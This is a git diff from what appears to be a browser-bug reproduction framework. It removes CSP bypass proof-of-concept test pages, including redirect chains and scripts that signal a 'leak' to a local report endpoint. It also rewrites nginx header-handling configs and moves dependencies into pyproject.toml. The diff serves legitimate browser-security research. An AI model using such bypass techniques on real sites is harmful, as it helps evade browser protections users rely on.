index 24a98df0..00000000 --- a/experiments/pages/CSP/f908824/a.test/main/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "object-src 'none'" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/f908824/a.test/main/index.html b/experiments/pages/CSP/f908824/a.test/main/index.html deleted file mode 100644 index 2f24d4fa..00000000 --- a/experiments/pages/CSP/f908824/a.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - diff --git a/experiments/pages/CSP/f908933/a.test/main/headers.json b/experiments/pages/CSP/f908933/a.test/main/headers.json deleted file mode 100644 index 011f82b6..00000000 --- a/experiments/pages/CSP/f908933/a.test/main/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "default-src 'none'" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/f908933/a.test/main/index.html b/experiments/pages/CSP/f908933/a.test/main/index.html deleted file mode 100644 index f71d3ec8..00000000 --- a/experiments/pages/CSP/f908933/a.test/main/index.html +++ /dev/null @@ -1,6 +0,0 @@ - diff --git a/experiments/pages/CSP/f908933/url_queue.txt b/experiments/pages/CSP/f908933/url_queue.txt deleted file mode 100644 index 0e884f3a..00000000 --- a/experiments/pages/CSP/f908933/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f908933/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f910139/a.test/main/headers.json b/experiments/pages/CSP/f910139/a.test/main/headers.json deleted file mode 100644 index df5a7d3a..00000000 --- a/experiments/pages/CSP/f910139/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f910139/a.test/main/index.xml b/experiments/pages/CSP/f910139/a.test/main/index.xml deleted file mode 100644 index ae0c98ce..00000000 --- a/experiments/pages/CSP/f910139/a.test/main/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - - - - Empire Burlesque - Bob Dylan - USA - Columbia - 10.90 - 1985 - - - Hide your heart - Bonnie Tyler - UK - CBS Records - 9.90 - 1988 - - - Greatest Hits - Dolly Parton - USA - RCA - 9.90 - 1982 - - diff --git a/experiments/pages/CSP/f949706/leak.test/helper/index.css b/experiments/pages/CSP/f949706/leak.test/helper/index.css deleted file mode 100644 index 912e3bf5..00000000 --- a/experiments/pages/CSP/f949706/leak.test/helper/index.css +++ /dev/null @@ -1 +0,0 @@ -*{background:url('helper2')} \ No newline at end of file diff --git a/experiments/pages/CSP/f949706/leak.test/helper2/headers.json b/experiments/pages/CSP/f949706/leak.test/helper2/headers.json deleted file mode 100644 index 6e8ab299..00000000 --- a/experiments/pages/CSP/f949706/leak.test/helper2/headers.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "key": "Location", - "value": "https://a.test/report/?leak=f949706" - }, - { - "key": "status", - "value": "302" - } -] diff --git a/experiments/pages/CSP/f949706/leak.test/helper2/index.html b/experiments/pages/CSP/f949706/leak.test/helper2/index.html deleted file mode 100644 index e69de29b..00000000 diff --git a/experiments/pages/CSP/f949706/leak.test/main/headers.json b/experiments/pages/CSP/f949706/leak.test/main/headers.json deleted file mode 100644 index cc57cae2..00000000 --- a/experiments/pages/CSP/f949706/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f949706/leak.test/main/index.html b/experiments/pages/CSP/f949706/leak.test/main/index.html deleted file mode 100644 index 07b85130..00000000 --- a/experiments/pages/CSP/f949706/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/CSP/f949706/url_queue.txt b/experiments/pages/CSP/f949706/url_queue.txt deleted file mode 100644 index 3d37f6e7..00000000 --- a/experiments/pages/CSP/f949706/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/f949706/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/IntegrationTests/all_reproduced/a.test/main/headers.json b/experiments/pages/IntegrationTests/all_reproduced/a.test/main/headers.json deleted file mode 100644 index 81975b3f..00000000 --- a/experiments/pages/IntegrationTests/all_reproduced/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Header-Name", - "value": "Header-Value" - } -] \ No newline at end of file diff --git a/experiments/pages/IntegrationTests/click/a.test/main/headers.json b/experiments/pages/IntegrationTests/click/a.test/main/headers.json deleted file mode 100644 index 81975b3f..00000000 --- a/experiments/pages/IntegrationTests/click/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Header-Name", - "value": "Header-Value" - } -] \ No newline at end of file diff --git a/experiments/pages/IntegrationTests/click/script.cmd b/experiments/pages/IntegrationTests/click/script.cmd deleted file mode 100644 index 693f50d0..00000000 --- a/experiments/pages/IntegrationTests/click/script.cmd +++ /dev/null @@ -1,3 +0,0 @@ -NAVIGATE https://a.test/IntegrationTests/click/main -SLEEP 1 -CLICK one \ No newline at end of file diff --git a/experiments/pages/IntegrationTests/none_reproduced/a.test/main/headers.json b/experiments/pages/IntegrationTests/none_reproduced/a.test/main/headers.json deleted file mode 100644 index 81975b3f..00000000 --- a/experiments/pages/IntegrationTests/none_reproduced/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Header-Name", - "value": "Header-Value" - } -] \ No newline at end of file diff --git a/experiments/pages/Support/AutoGUI/a.test/main/headers.json b/experiments/pages/Support/AutoGUI/a.test/main/headers.json deleted file mode 100644 index fe51488c..00000000 --- a/experiments/pages/Support/AutoGUI/a.test/main/headers.json +++ /dev/null @@ -1 +0,0 @@ -[] diff --git a/experiments/pages/Support/BTPC/leak.test/main/index.html b/experiments/pages/Support/BTPC/leak.test/main/index.html deleted file mode 100644 index 1df85fa6..00000000 --- a/experiments/pages/Support/BTPC/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/Support/BTPC/url_queue.txt b/experiments/pages/Support/BTPC/url_queue.txt deleted file mode 100644 index 83be519e..00000000 --- a/experiments/pages/Support/BTPC/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/Support/BTPC/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/Support/CSP/a.test/helper/headers.json b/experiments/pages/Support/CSP/a.test/helper/headers.json deleted file mode 100644 index 8d58c70e..00000000 --- a/experiments/pages/Support/CSP/a.test/helper/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'none'" - } -] diff --git a/experiments/pages/Support/CSP/a.test/helper/index.html b/experiments/pages/Support/CSP/a.test/helper/index.html deleted file mode 100644 index 11c95459..00000000 --- a/experiments/pages/Support/CSP/a.test/helper/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/Support/CSP/leak.test/main/index.html b/experiments/pages/Support/CSP/leak.test/main/index.html deleted file mode 100644 index c4adb212..00000000 --- a/experiments/pages/Support/CSP/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/Support/CSP/url_queue.txt b/experiments/pages/Support/CSP/url_queue.txt deleted file mode 100644 index e7e4cafa..00000000 --- a/experiments/pages/Support/CSP/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/Support/CSP/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/Support/Downloading/a.test/main/headers.json b/experiments/pages/Support/Downloading/a.test/main/headers.json deleted file mode 100644 index 81975b3f..00000000 --- a/experiments/pages/Support/Downloading/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Header-Name", - "value": "Header-Value" - } -] \ No newline at end of file diff --git a/experiments/pages/Support/Downloading/a.test/main/index.html b/experiments/pages/Support/Downloading/a.test/main/index.html deleted file mode 100644 index d729770e..00000000 --- a/experiments/pages/Support/Downloading/a.test/main/index.html +++ /dev/null @@ -1,9 +0,0 @@ - - - - Download - - - \ No newline at end of file diff --git a/experiments/pages/Support/Downloading/script.cmd b/experiments/pages/Support/Downloading/script.cmd deleted file mode 100644 index 9641a42f..00000000 --- a/experiments/pages/Support/Downloading/script.cmd +++ /dev/null @@ -1,13 +0,0 @@ -# Download file short-text.txt with content 123456789 -NAVIGATE https://a.test/Support/Downloading/main - -SLEEP 1 - -# These commands would stop the evaluation and not report a leak -# ASSERT_FILE_CONTAINS i-dont-exist.txt 234 -# ASSERT_FILE_CONTAINS short-text.txt i-am-not-in-the-file - -# This command will continue the evaluation and report a leak -ASSERT_FILE_CONTAINS short-text.txt 234 - -REPORT_LEAK \ No newline at end of file diff --git a/experiments/pages/Support/PythonServer/a.test/main/headers.json b/experiments/pages/Support/PythonServer/a.test/main/headers.json deleted file mode 100644 index 270dd21c..00000000 --- a/experiments/pages/Support/PythonServer/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Header-Name", - "value": "Header-Value" - } -] diff --git a/experiments/pages/Support/PythonServer/a.test/main/index.html b/experiments/pages/Support/PythonServer/a.test/main/index.html deleted file mode 100644 index 2397640b..00000000 --- a/experiments/pages/Support/PythonServer/a.test/main/index.html +++ /dev/null @@ -1,11 +0,0 @@ - - - - - \ No newline at end of file diff --git a/experiments/pages/Support/ServiceWorker/a.test/main/index.html b/experiments/pages/Support/ServiceWorker/a.test/main/index.html deleted file mode 100644 index 568c24a4..00000000 --- a/experiments/pages/Support/ServiceWorker/a.test/main/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/Support/ServiceWorker/url_queue.txt b/experiments/pages/Support/ServiceWorker/url_queue.txt deleted file mode 100644 index ff381c02..00000000 --- a/experiments/pages/Support/ServiceWorker/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/Support/ServiceWorker/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/Support/form-action/a.test/main/headers.json b/experiments/pages/Support/form-action/a.test/main/headers.json deleted file mode 100644 index 93521cf0..00000000 --- a/experiments/pages/Support/form-action/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "form-action 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/Support/form-action/a.test/main/index.html b/experiments/pages/Support/form-action/a.test/main/index.html deleted file mode 100644 index 767d3082..00000000 --- a/experiments/pages/Support/form-action/a.test/main/index.html +++ /dev/null @@ -1,9 +0,0 @@ -
- diff --git a/experiments/pages/Support/not-allow-modals/a.test/main/headers.json b/experiments/pages/Support/not-allow-modals/a.test/main/headers.json deleted file mode 100644 index 90ff869a..00000000 --- a/experiments/pages/Support/not-allow-modals/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "sandbox allow-scripts" - } -] \ No newline at end of file diff --git a/experiments/pages/Support/not-allow-modals/a.test/main/index.html b/experiments/pages/Support/not-allow-modals/a.test/main/index.html deleted file mode 100644 index 03e3a71e..00000000 --- a/experiments/pages/Support/not-allow-modals/a.test/main/index.html +++ /dev/null @@ -1,4 +0,0 @@ - diff --git a/experiments/pages/Support/not-script-src-elem/leak.test/helper/index.js b/experiments/pages/Support/not-script-src-elem/leak.test/helper/index.js deleted file mode 100644 index 307921a7..00000000 --- a/experiments/pages/Support/not-script-src-elem/leak.test/helper/index.js +++ /dev/null @@ -1 +0,0 @@ -document.location.href = "https://a.test/report/?leak=not-script-src-elem"; diff --git a/experiments/pages/Support/not-script-src-elem/leak.test/main/headers.json b/experiments/pages/Support/not-script-src-elem/leak.test/main/headers.json deleted file mode 100644 index e0ffcb6b..00000000 --- a/experiments/pages/Support/not-script-src-elem/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src-elem 'none';" - } -] \ No newline at end of file diff --git a/experiments/pages/Support/not-script-src-elem/leak.test/main/index.html b/experiments/pages/Support/not-script-src-elem/leak.test/main/index.html deleted file mode 100644 index a267aa93..00000000 --- a/experiments/pages/Support/not-script-src-elem/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/Support/securitypolicyviolation/leak.test/main/headers.json b/experiments/pages/Support/securitypolicyviolation/leak.test/main/headers.json deleted file mode 100644 index 8bd171b6..00000000 --- a/experiments/pages/Support/securitypolicyviolation/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "img-src 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/Support/securitypolicyviolation/leak.test/main/index.html b/experiments/pages/Support/securitypolicyviolation/leak.test/main/index.html deleted file mode 100644 index 09500de5..00000000 --- a/experiments/pages/Support/securitypolicyviolation/leak.test/main/index.html +++ /dev/null @@ -1,11 +0,0 @@ - diff --git a/experiments/pages/Support/strict-dynamic/leak.test/helper/index.js b/experiments/pages/Support/strict-dynamic/leak.test/helper/index.js deleted file mode 100644 index 18de4aa6..00000000 --- a/experiments/pages/Support/strict-dynamic/leak.test/helper/index.js +++ /dev/null @@ -1 +0,0 @@ -document.location.href = "https://a.test/report/?leak=strict-dynamic"; diff --git a/experiments/pages/Support/strict-dynamic/leak.test/main/headers.json b/experiments/pages/Support/strict-dynamic/leak.test/main/headers.json deleted file mode 100644 index d46c78de..00000000 --- a/experiments/pages/Support/strict-dynamic/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'nonce-123' 'strict-dynamic'" - } -] \ No newline at end of file diff --git a/experiments/pages/Support/strict-dynamic/leak.test/main/index.html b/experiments/pages/Support/strict-dynamic/leak.test/main/index.html deleted file mode 100644 index de8b35e4..00000000 --- a/experiments/pages/Support/strict-dynamic/leak.test/main/index.html +++ /dev/null @@ -1,7 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/Support/upgrade-insecure-requests/a.test/main/headers.json b/experiments/pages/Support/upgrade-insecure-requests/a.test/main/headers.json deleted file mode 100644 index 086667ec..00000000 --- a/experiments/pages/Support/upgrade-insecure-requests/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "upgrade-insecure-requests" - } -] \ No newline at end of file diff --git a/experiments/pages/Support/upgrade-insecure-requests/a.test/main/index.html b/experiments/pages/Support/upgrade-insecure-requests/a.test/main/index.html deleted file mode 100644 index 75b8b464..00000000 --- a/experiments/pages/Support/upgrade-insecure-requests/a.test/main/index.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/nginx/config/core_dev.conf b/nginx/config/core_dev.conf index 7b322148..048ea5ac 100644 --- a/nginx/config/core_dev.conf +++ b/nginx/config/core_dev.conf @@ -2,6 +2,9 @@ access_log /logs/nginx-access-api.log default_format; location = /favicon.ico { alias /www/data/res/bughog.ico; + expires 30d; + add_header Cache-Control "public, immutable"; + access_log off; } location /js/ { @@ -21,19 +24,33 @@ location / { location /api/ { proxy_pass http://core:5000; proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; +} + +# WebSocket requests +location /api/socket/ { + proxy_pass http://core:5000; proxy_http_version 1.1; - proxy_set_header Connection "Upgrade"; + + proxy_set_header Host $host; proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "Upgrade"; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + + proxy_cache_bypass $http_upgrade; + proxy_no_cache $http_upgrade; + proxy_read_timeout 86400s; + proxy_send_timeout 86400s; + + proxy_buffering off; + proxy_request_buffering off; } location /test/ { proxy_pass http://core:5000; proxy_set_header Host $host; - proxy_http_version 1.1; - proxy_set_header Connection "Upgrade"; - proxy_set_header Upgrade $http_upgrade; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } diff --git a/nginx/config/core_prod.conf b/nginx/config/core_prod.conf index 563293e0..937412e5 100644 --- a/nginx/config/core_prod.conf +++ b/nginx/config/core_prod.conf @@ -2,6 +2,9 @@ access_log /logs/nginx-access-api.log default_format; location = /favicon.ico { alias /www/data/res/bughog.ico; + expires 30d; + add_header Cache-Control "public, immutable"; + access_log off; } location / { @@ -11,19 +14,33 @@ location / { location /api/ { proxy_pass http://core:5000; proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; +} + +# WebSocket requests +location /api/socket/ { + proxy_pass http://core:5000; proxy_http_version 1.1; - proxy_set_header Connection "Upgrade"; + + proxy_set_header Host $host; proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "Upgrade"; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + + proxy_cache_bypass $http_upgrade; + proxy_no_cache $http_upgrade; + proxy_read_timeout 86400s; + proxy_send_timeout 86400s; + + proxy_buffering off; + proxy_request_buffering off; } location /test/ { proxy_pass http://core:5000; proxy_set_header Host $host; - proxy_http_version 1.1; - proxy_set_header Connection "Upgrade"; - proxy_set_header Upgrade $http_upgrade; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } diff --git a/nginx/config/experiments.conf b/nginx/config/experiments.conf index 45e10608..e80b386f 100644 --- a/nginx/config/experiments.conf +++ b/nginx/config/experiments.conf @@ -19,7 +19,7 @@ location ^~ /res/ { } # Reporting endpoint -location ~ /report/.*$ { +location ~ ^/report/.*$ { proxy_pass http://core:5000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; @@ -36,48 +36,127 @@ location ~ (.+).py$ { proxy_set_header X-Forwarded-Proto $scheme; } -# Static experiment resources -location ~ index\.(html|js)$ { - root /www/data/pages; -} +location ~ ^/([^/]+)/([^/]+)(/.*)?$ { + access_by_lua_block { + local project = ngx.var[1] + local poc = ngx.var[2] + local resource_path = ngx.var[3] or "" + + local file_path + if resource_path == "" or resource_path == nil or resource_path == "/" then + file_path = "/www/data/poc/" .. project .. "/" .. poc .. "/index.html" + else + file_path = "/www/data/poc/" .. project .. "/" .. poc .. resource_path + end -location ~ ^/([^/]+)/([^/]+)/([^/]+)/?$ { - root /www/data/pages; - # Rewrite URLs conform to experiment file structure - set $dynamic_path /$1/$2/$host/$3/; - # The `/` at the end of the first try_files parameter is to indicate that the existence of a dir needs to be checked instead of a file. - # More info: http://nginx.org/en/docs/http/ngx_http_core_module.html#try_files - try_files $dynamic_path/index.html $dynamic_path/index.js =404; - # Add experiment headers - header_filter_by_lua_block { - local cjson = require "cjson.safe" - local decoded_dynamic_path = ngx.unescape_uri(ngx.var.dynamic_path) - local file_path = ngx.var.document_root .. decoded_dynamic_path .. "headers.json" local file = io.open(file_path, "r") + if not file then + ngx.log(ngx.ERR, "PoC not found (path: " .. file_path .. ").") + return -- let try_files resolve to 404 or fallback. + end + + local headers = {} + local status_code = nil + local ext = (file_path:match("%.([^.]+)$") or "html"):lower() + + local function apply(k, v) + if not k or not v then return end + if k:lower() == "status" then + local n = tonumber(v) + if n then status_code = n end + else + headers[k] = v + end + end - if file then - local data = file:read("*a") - file:close() - local headers = cjson.decode(data) - - if headers then - for _, header in ipairs(headers) do - if header.key and header.value then - if string.lower(header.key) == "status" then - ngx.status = tonumber(header.value) - else - ngx.header[header.key] = header.value - end + local function parse_header_line(s) + local name, value = s:match("([%w%-]+)%s*:%s*(.+)%s*") + if name and value then + ngx.log(ngx.INFO, "Parsed header: '" .. s .. "' --> name: " .. name .. ", value: " .. value) + apply(name, value) + else + ngx.log(ngx.WARN, "Could not parse header for '" .. s .. "'") + end + end + + for line in file:lines() do + + if line:match("^%s* + local match = line:match("^%s*") + if match then + if match:find("^bughog_") then + -- Nginx ignores bughog parameters. + else + parse_header_line(match) end + else + break end + + elseif ext == "js" then + -- JS single-line: // Header-Name: value + local match = line:match("^%s*//%s*(.-)%s*$") + if match then + if match:find("^bughog_") then + -- Nginx ignores bughog parameters. + else + parse_header_line(match) + end + else + break + end + + elseif ext == "css" then + -- CSS supports only block comments: /* Header-Name: value */ + local match = line:match("^%s*/%*%s*(.-)%s*%*/%s*$") + if match then + if match:find("^bughog_") then + -- Nginx ignores bughog parameters. + else + parse_header_line(match) + end + else + break + end + else - ngx.log(ngx.ERR, "Error parsing JSON from file: " .. file_path) + -- Only consider HTML, JS and CSS. + break + end + end + file:close() + + -- Set status code if defined + if status_code then + ngx.log(ngx.INFO, "Setting status code: " .. status_code) + ngx.ctx.status_code = status_code + end + + -- Set extracted headers + ngx.ctx.extra_headers = headers + } + + # Status code needs to be set in this block, to prevent overwriting by nginx. + header_filter_by_lua_block { + if ngx.ctx.status_code then + ngx.status = ngx.ctx.status_code + end + local h = ngx.ctx.extra_headers + if h then + for k, v in pairs(h) do + ngx.header[k] = v end - else - ngx.log(ngx.WARN, "Could not find headers: " .. file_path) end } + # Nginx still serves the file, preserving automatic Content-Type. + root /www/data/poc; + try_files /$1/$2$3 /$1/$2/index.html =404; + mirror /notify_collector; } diff --git a/nginx/config/nginx.conf b/nginx/config/nginx.conf index 8c0451a1..52b66cc6 100644 --- a/nginx/config/nginx.conf +++ b/nginx/config/nginx.conf @@ -6,6 +6,8 @@ worker_processes auto; error_log /logs/nginx-error.log warn; events { worker_connections 1024; + use epoll; + multi_accept on; } http { @@ -24,6 +26,7 @@ http { } server { + http2 on; listen 443 ssl; server_name bughog.io; @@ -42,6 +45,7 @@ http { } server { + http2 on; listen 443 ssl; server_name a.test sub.a.test sub.sub.a.test b.test sub.b.test leak.test adition.com; diff --git a/pyproject.toml b/pyproject.toml index 87866e74..040a56d2 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,37 @@ -[tool.pytest.ini_options] -addopts = "--cov=bci --cov-report=xml --junitxml=junit.xml" +[project] +name = "bughog" +version = "0.1.0" +requires-python = ">=3.13" +dependencies = [ + "docker==7.1.0", + "flask==3.1.1", + "flask-sock==0.7.0", + "flatten-dict==0.4.2", + "gunicorn==23.0.0", + "pillow==12.0.0", + "pyautogui==0.9.54", + "pymongo==4.12.1", + "pyvirtualdisplay==3.0", + "requests==2.32.3", + "rich>=14.2.0", + "xlib==0.21", +] +[dependency-groups] +dev = [ + "anybadge==1.16.0", + "coverage[toml]==7.8.0", + "debugpy==1.8.14", + "flake8==7.2.0", + "genbadge[all]>=1.1.2", + "pylint==3.3.7", + "pytest==8.3.5", + "pytest-cov==6.1.1", + "pytest-flake8==1.3.0", +] + +[tool.pytest.ini_options] +addopts = "--cov=bughog --cov-report=xml --cov-report=term --junitxml=junit.xml" [tool.ruff] # Exclude a variety of commonly ignored directories. @@ -33,13 +64,9 @@ exclude = [ "venv", ] -# Same as Black. line-length = 120 indent-width = 4 -# Assume Python 3.8 -target-version = "py38" - [tool.ruff.lint] # Enable Pyflakes (`F`) and a subset of the pycodestyle (`E`) codes by default. # Unlike Flake8, Ruff doesn't enable pycodestyle warnings (`W`) or @@ -59,7 +86,6 @@ dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" [tool.ruff.format] quote-style = "single" - # Like Black, indent with spaces, rather than tabs. indent-style = "space" @@ -74,7 +100,7 @@ line-ending = "auto" # # This is currently disabled by default, but it is planned for this # to be opt-out in the future. -docstring-code-format = false +docstring-code-format = true # Set the line length limit used when formatting code snippets in # docstrings. @@ -82,3 +108,12 @@ docstring-code-format = false # This only has an effect when the `docstring-code-format` setting is # enabled. docstring-code-line-length = "dynamic" + +[tool.pyright] +exclude = [ + "**/.venv/**", + "**/build/**", + "**/dist/**", + "**/__pycache__/**", + "/app/subject/binaries/**", +] diff --git a/pyrightconfig.json b/pyrightconfig.json deleted file mode 100644 index 77930380..00000000 --- a/pyrightconfig.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "exclude": [ - "binaries", - "browser-repos", - "drivers", - "extensions", - "profiles" - ] -} \ No newline at end of file diff --git a/requirements.in b/requirements.in deleted file mode 100644 index f0993275..00000000 --- a/requirements.in +++ /dev/null @@ -1,11 +0,0 @@ -docker -Flask -flask-sock -flatten-dict -gunicorn -pymongo -requests -pyautogui -pyvirtualdisplay -Pillow -Xlib \ No newline at end of file diff --git a/requirements.txt b/requirements.txt deleted file mode 100644 index 3d093ff2..00000000 --- a/requirements.txt +++ /dev/null @@ -1,91 +0,0 @@ -# -# This file is autogenerated by pip-compile with Python 3.11 -# by the following command: -# -# pip-compile requirements.in -# -blinker==1.9.0 - # via flask -certifi==2025.4.26 - # via requests -charset-normalizer==3.4.2 - # via requests -click==8.2.0 - # via flask -dnspython==2.7.0 - # via pymongo -docker==7.1.0 - # via -r requirements.in -flask==3.1.1 - # via - # -r requirements.in - # flask-sock -flask-sock==0.7.0 - # via -r requirements.in -flatten-dict==0.4.2 - # via -r requirements.in -gunicorn==23.0.0 - # via -r requirements.in -h11==0.16.0 - # via wsproto -idna==3.10 - # via requests -itsdangerous==2.2.0 - # via flask -jinja2==3.1.6 - # via flask -markupsafe==3.0.2 - # via - # flask - # jinja2 - # werkzeug -mouseinfo==0.1.3 - # via pyautogui -packaging==25.0 - # via gunicorn -pillow==11.2.1 - # via - # -r requirements.in - # pyscreeze -pyautogui==0.9.54 - # via -r requirements.in -pygetwindow==0.0.9 - # via pyautogui -pymongo==4.12.1 - # via -r requirements.in -pymsgbox==1.0.9 - # via pyautogui -pyperclip==1.9.0 - # via mouseinfo -pyrect==0.2.0 - # via pygetwindow -pyscreeze==1.0.1 - # via pyautogui -python3-xlib==0.15 - # via - # mouseinfo - # pyautogui -pytweening==1.2.0 - # via pyautogui -pyvirtualdisplay==3.0 - # via -r requirements.in -requests==2.32.3 - # via - # -r requirements.in - # docker -simple-websocket==1.1.0 - # via flask-sock -six==1.17.0 - # via - # flatten-dict - # xlib -urllib3==2.4.0 - # via - # docker - # requests -werkzeug==3.1.3 - # via flask -wsproto==1.2.0 - # via simple-websocket -xlib==0.21 - # via -r requirements.in diff --git a/requirements_dev.in b/requirements_dev.in deleted file mode 100644 index 891ddc36..00000000 --- a/requirements_dev.in +++ /dev/null @@ -1,13 +0,0 @@ --r requirements.txt -anybadge -autopep8 -boto3 -botocore -coverage -debugpy -flake8 -isort -pylint -pytest -pytest-cov -pytest-flake8 diff --git a/requirements_dev.txt b/requirements_dev.txt deleted file mode 100644 index b583036b..00000000 --- a/requirements_dev.txt +++ /dev/null @@ -1,205 +0,0 @@ -# -# This file is autogenerated by pip-compile with Python 3.11 -# by the following command: -# -# pip-compile requirements_dev.in -# -anybadge==1.16.0 - # via -r requirements_dev.in -astroid==3.3.10 - # via pylint -autopep8==2.3.2 - # via -r requirements_dev.in -blinker==1.9.0 - # via - # -r requirements.txt - # flask -boto3==1.38.15 - # via -r requirements_dev.in -botocore==1.38.15 - # via - # -r requirements_dev.in - # boto3 - # s3transfer -certifi==2025.4.26 - # via - # -r requirements.txt - # requests -charset-normalizer==3.4.2 - # via - # -r requirements.txt - # requests -click==8.2.0 - # via - # -r requirements.txt - # flask -coverage[toml]==7.8.0 - # via - # -r requirements_dev.in - # pytest-cov -debugpy==1.8.14 - # via -r requirements_dev.in -dill==0.4.0 - # via pylint -dnspython==2.7.0 - # via - # -r requirements.txt - # pymongo -docker==7.1.0 - # via -r requirements.txt -flake8==7.2.0 - # via - # -r requirements_dev.in - # pytest-flake8 -flask==3.1.1 - # via - # -r requirements.txt - # flask-sock -flask-sock==0.7.0 - # via -r requirements.txt -flatten-dict==0.4.2 - # via -r requirements.txt -gunicorn==23.0.0 - # via -r requirements.txt -h11==0.16.0 - # via - # -r requirements.txt - # wsproto -idna==3.10 - # via - # -r requirements.txt - # requests -iniconfig==2.1.0 - # via pytest -isort==6.0.1 - # via - # -r requirements_dev.in - # pylint -itsdangerous==2.2.0 - # via - # -r requirements.txt - # flask -jinja2==3.1.6 - # via - # -r requirements.txt - # flask -jmespath==1.0.1 - # via - # boto3 - # botocore -markupsafe==3.0.2 - # via - # -r requirements.txt - # flask - # jinja2 - # werkzeug -mccabe==0.7.0 - # via - # flake8 - # pylint -mouseinfo==0.1.3 - # via - # -r requirements.txt - # pyautogui -packaging==25.0 - # via - # -r requirements.txt - # anybadge - # gunicorn - # pytest -pillow==11.2.1 - # via - # -r requirements.txt - # pyscreeze -platformdirs==4.3.8 - # via pylint -pluggy==1.5.0 - # via pytest -pyautogui==0.9.54 - # via -r requirements.txt -pycodestyle==2.13.0 - # via - # autopep8 - # flake8 -pyflakes==3.3.2 - # via flake8 -pygetwindow==0.0.9 - # via - # -r requirements.txt - # pyautogui -pylint==3.3.7 - # via -r requirements_dev.in -pymongo==4.12.1 - # via -r requirements.txt -pymsgbox==1.0.9 - # via - # -r requirements.txt - # pyautogui -pyperclip==1.9.0 - # via - # -r requirements.txt - # mouseinfo -pyrect==0.2.0 - # via - # -r requirements.txt - # pygetwindow -pyscreeze==1.0.1 - # via - # -r requirements.txt - # pyautogui -pytest==8.3.5 - # via - # -r requirements_dev.in - # pytest-cov - # pytest-flake8 -pytest-cov==6.1.1 - # via -r requirements_dev.in -pytest-flake8==1.3.0 - # via -r requirements_dev.in -python-dateutil==2.9.0.post0 - # via botocore -python3-xlib==0.15 - # via - # -r requirements.txt - # mouseinfo - # pyautogui -pytweening==1.2.0 - # via - # -r requirements.txt - # pyautogui -pyvirtualdisplay==3.0 - # via -r requirements.txt -requests==2.32.3 - # via - # -r 